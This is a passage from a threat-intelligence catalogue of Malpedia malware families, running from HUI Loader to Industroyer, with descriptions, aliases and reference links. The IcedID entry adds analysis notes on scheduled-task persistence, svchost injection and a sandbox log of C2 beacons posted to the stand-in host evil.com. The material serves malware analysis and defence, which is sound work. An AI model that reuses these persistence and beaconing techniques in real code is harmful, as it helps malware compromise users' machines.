https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html

HUI Loader

A loader that has been used by multiple threat actor groups since 2015.

The tag is: *misp-galaxy:malpedia="HUI Loader"*

HUI Loader is also known as:

Table 2348. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader

https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf

Hunter Stealer

The tag is: *misp-galaxy:malpedia="Hunter Stealer"*

Hunter Stealer is also known as:

Table 2349. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter
https://twitter.com/3xp0rtblog/status/1324800226381758471

Hupigon

The tag is: *misp-galaxy:malpedia="Hupigon"*

Hupigon is also known as:

Table 2350. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hupigon
https://www.proofpoint.com/us/threat-insight/post/threat-actors-repurpose-hupigon-adult-dating-attacks-targeting-us-universities

Hussar

The tag is: *misp-galaxy:malpedia="Hussar"*

Hussar is also known as:

Table 2351. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hussar
https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/

HxDef

The tag is: *misp-galaxy:malpedia="HxDef"*

HxDef is also known as:

- HacDef
- HackDef
- HackerDefender

Table 2352. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hxdef
https://de.securelist.com/malware-entwicklung-im-ersten-halbjahr-2007/59574/

HyperBro

HyperBro is a RAT that has been observed to target primarily within the gambling industries, though it has been spotted in other places as well. The malware typically consists of 3 or more components: a) a genuine loader typically with a signed certification b) a malicious DLL loader loaded from the former component via DLL hijacking c) an encrypted and compressed blob that decrypts to a PE-based payload which has its C2 information hardcoded within.

The tag is: *misp-galaxy:malpedia="HyperBro"*

HyperBro is also known as:

Table 2353. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/iron-tiger-compromises-chat-application-mimi,-targets-windows,-mac,-and-linux-users/IOCs-IronTiger-compromises-chat-application-mimi-targets-windows-mac-linux-users.txt
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://blog.team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia
https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf
https://www.secureworks.com/research/threat-profiles/bronze-union
https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf
https://team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/
https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx

https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf
https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/
https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf?*blob=publicationFile&v=10[https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf*?blob=publicationFile&v=10]
https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html
https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
https://www.bleepingcomputer.com/news/security/german-govt-warns-of-apt27-hackers-backdooring-business-networks/
https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html
http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html
https://cyware.com/news/apt27-group-targets-german-organizations-with-hyperbro-2c43b7cf/
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/

HYPERSCRAPE

The tag is: *misp-galaxy:malpedia="HYPERSCRAPE"*

HYPERSCRAPE is also known as:

Table 2354. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperscrape
https://blog.google/threat-analysis-group/new-iranian-apt-data-extraction-tool/

HyperSSL

Sideloader used by EmissaryPanda

The tag is: *misp-galaxy:malpedia="HyperSSL"*

HyperSSL is also known as:

- FOCUSFJORD
- Soldier
- Sysupdate

Table 2355. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html
https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel
https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Article-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf
https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf
https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx
https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html
https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Slides-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf
https://norfolkinfosec.com/emissary-panda-dll-backdoor/

IcedID

Analysis Observations:

- It sets up persistence by creating a Scheduled Task with the following characteristics:
- Name: Update
- Trigger: At Log on
- Action: %LocalAppData%\$Example\\waroupada.exe /i
- Conditions: Stop if the computer ceases to be idle.
- The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
- The filename remained static during analysis.
- The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
- If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
- If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
- Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32,Sleep -s
- Setup a local listener to proxy traffic on 127.0.0.1:50000

[Example Log from C2 Network Communication] [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)> [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'. [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2

The tag is: *misp-galaxy:malpedia="IcedID"*

IcedID is also known as:

- BokBot
- IceID

Table 2356. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid
https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/
https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f
https://twitter.com/felixw3000/status/1521816045769662468
https://malwation.com/icedid-malware-technical-analysis-report/
https://thedfirreport.com/2021/05/12/conti-ransomware/
https://tccontre.blogspot.com/2021/01/
https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html
https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/
https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders
https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html
https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/
https://blog.cyberint.com/icedid-stealer-man-in-the-browser-banking-trojan
https://team-cymru.com/blog/2021/05/19/tracking-bokbot-infrastructure/
https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917
https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b
https://blog.minerva-labs.com/icedid-maas
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html

https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766
https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://threatresearch.ext.hp.com/detecting-ta551-domains/
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/
https://netresec.com/?b=214d7ff
https://tccontre.blogspot.com/2020/08/learning-from-iceid-loader-including.html
https://blog.group-ib.com/prometheus-tds
https://blog.reconinfosec.com/an-encounter-with-ta551-shathak
https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.binarydefense.com/icedid-gziploader-analysis/
https://securityintelligence.com/icedid-banking-trojan-spruces-up-injection-tactics-to-add-stealth/
https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html
https://isc.sans.edu/diary/28636
https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/
https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/
https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf
https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html
https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine
https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf
http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/
https://github.com/telekom-security/icedid_analysis
https://www.uptycs.com/blog/icedid-campaign-spotted-being-spiced-with-excel-4-macros
https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/
https://www.youtube.com/watch?v=wObF9n2UIAM
https://unit42.paloaltonetworks.com/atoms/monsterlibra/
https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back
https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html

https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid
https://blog.talosintelligence.com/2020/07/valak-emerges.html
https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf
https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
https://www.f5.com/labs/articles/threat-intelligence/icedid-banking-trojan-uses-covid-19-pandemic-to-lure-new-victims
https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/
https://www.socinvestigation.com/icedid-banking-trojan-returns-with-new-ttps-detection-response/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://nikpx.github.io/malware/analysis/2022/03/09/BokBot
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.youtube.com/watch?v=oZ4bwnjcXWg
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
https://www.youtube.com/watch?v=YEqLIR6hfOM
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://www.youtube.com/watch?v=wMXD4Sv1Alw
https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware
https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf
https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/
https://www.youtube.com/watch?v=7Dk7NkIbVqY
https://www.bleepingcomputer.com/news/security/microsoft-exchange-targeted-for-icedid-reply-chain-hijacking-attacks/
https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike

https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/
https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884
https://intel471.com/blog/conti-emotet-ransomware-conti-leaks
https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/
https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/
https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.microsoft.com/security/blog/2020/12/09/edr-in-block-mode-stops-icedid-cold/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://eln0ty.github.io/malware%20analysis/IcedID/
https://www.group-ib.com/blog/icedid
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html
https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html
https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/
https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/
https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/
https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/
https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx
https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/
https://ceriumnetworks.com/threat-of-the-month-icedid-malware/
https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/
https://www.ironnet.com/blog/ransomware-graphic-blog
https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/
https://thedfirreport.com/2022/04/25/quantum-ransomware/
https://www.silentpush.com/blog/icedid-command-and-control-infrastructure
https://forensicitguy.github.io/analyzing-icedid-document/
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.splunk.com/en_us/blog/security/detecting-icedid-could-it-be-a-trickbot-copycat.html
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/
https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/
https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships
https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html
https://github.com/f0wl/deICEr
https://cert.gov.ua/article/39609
https://www.secureworks.com/research/threat-profiles/gold-swathmore
https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2
https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise
https://www.silentpush.com/blog/malicious-infrastructure-as-a-service
https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/
https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/
https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/
https://unit42.paloaltonetworks.com/ta551-shathak-icedid/
https://isc.sans.edu/diary/rss/28934

https://labs.sentinelone.com/evasive-maneuvers-massive-icedid-campaign-aims-for-stealth-with-benign-macros/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes

IcedID Downloader

The tag is: *misp-galaxy:malpedia="IcedID Downloader"*

IcedID Downloader is also known as:

Table 2357. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader
http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/
https://threatray.com/blog/a-new-icedid-gziploader-variant/
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/

Icefog

The tag is: *misp-galaxy:malpedia="Icefog"*

Icefog is also known as:

- Fucobha

Table 2358. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt
http://www.kz-cert.kz/page/502
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf

win.icexloader

IceXLoader is a commercial malware used to download and deploy additional malware on infected machines. The latest version is written in Nim, a relatively new language utilized by threat actors the past two years, most notably by the NimzaLoader variant of BazarLoader used by the TrickBot group.

The v1 was written in AutoIT.

The tag is: *misp-galaxy:malpedia="win.icexloader"*

win.icexloader is also known as:

Table 2359. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icexloader
https://www.fortinet.com/blog/threat-research/new-icexloader-3-0-developers-warm-up-to-nim

Ice IX

The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus's source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.

The tag is: *misp-galaxy:malpedia="Ice IX"*

Ice IX is also known as:

Table 2360. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix
https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/
https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/
https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus
https://securelist.com/ice-ix-not-cool-at-all/29111/

IconDown

The tag is: *misp-galaxy:malpedia="IconDown"*

IconDown is also known as:

Table 2361. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown

https://blogs.jpcert.or.jp/en/2019/11/icondown-downloader-used-by-blacktech.html

IcyHeart

The tag is: *misp-galaxy:malpedia="IcyHeart"*

IcyHeart is also known as:

- Troxen

Table 2362. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icyheart

IDKEY

The tag is: *misp-galaxy:malpedia="IDKEY"*

IDKEY is also known as:

Table 2363. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.idkey
https://isc.sans.edu/diary/22766

IISniff

The tag is: *misp-galaxy:malpedia="IISniff"*

IISniff is also known as:

Table 2364. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf
https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf

IISpy

The tag is: *misp-galaxy:malpedia="IISpy"*

IISpy is also known as:

- BadIIS

Table 2365. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy
https://www.welivesecurity.com/2021/08/09/iispy-complex-server-side-backdoor-antiforensic-features/

Imecab

The tag is: *misp-galaxy:malpedia="Imecab"*

Imecab is also known as:

Table 2366. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east

Imminent Monitor RAT

MITRE describes Imminent Monitor as a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.

The tag is: *misp-galaxy:malpedia="Imminent Monitor RAT"*

Imminent Monitor RAT is also known as:

Table 2367. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/
https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/
https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america
https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/

https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/
https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt

Immortal Stealer

ZScaler describes Immortal Stealer as a windows malware written in .NET designed to steal sensitive information from an infected machine. The Immortal stealer is sold on the dark web with different build-based subscriptions.

The tag is: *misp-galaxy:malpedia=" Immortal Stealer"*

```
Immortal Stealer is also known as:
```

Table 2368. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.immortal_stealer
https://www.zscaler.com/blogs/research/immortal-information-stealer

Incubator

Keylogger written in Visual Basic dating back to at least 2012.

The tag is: *misp-galaxy:malpedia="Incubator"*

Incubator is also known as:

Table 2369. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.incubator
https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf
https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/

IndigoDrop

The tag is: *misp-galaxy:malpedia="IndigoDrop"*

IndigoDrop is also known as:

Table 2370. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.indigodrop
https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html

Industrial Spy

A ransomware that emerged in April 2022.

The tag is: *misp-galaxy:malpedia="Industrial Spy"*

Industrial Spy is also known as:

Table 2371. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy
https://www.zscaler.com/blogs/security-research/technical-analysis-industrial-spy-ransomware

Industroyer

Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine's power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.

The tag is: *misp-galaxy:malpedia="Industroyer"*

Industroyer is also known as:

- Crash
- CrashOverride

Table 2372. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer
https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://en.wikipedia.org/wiki/Industroyer
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
https://cert.gov.ua/article/39518
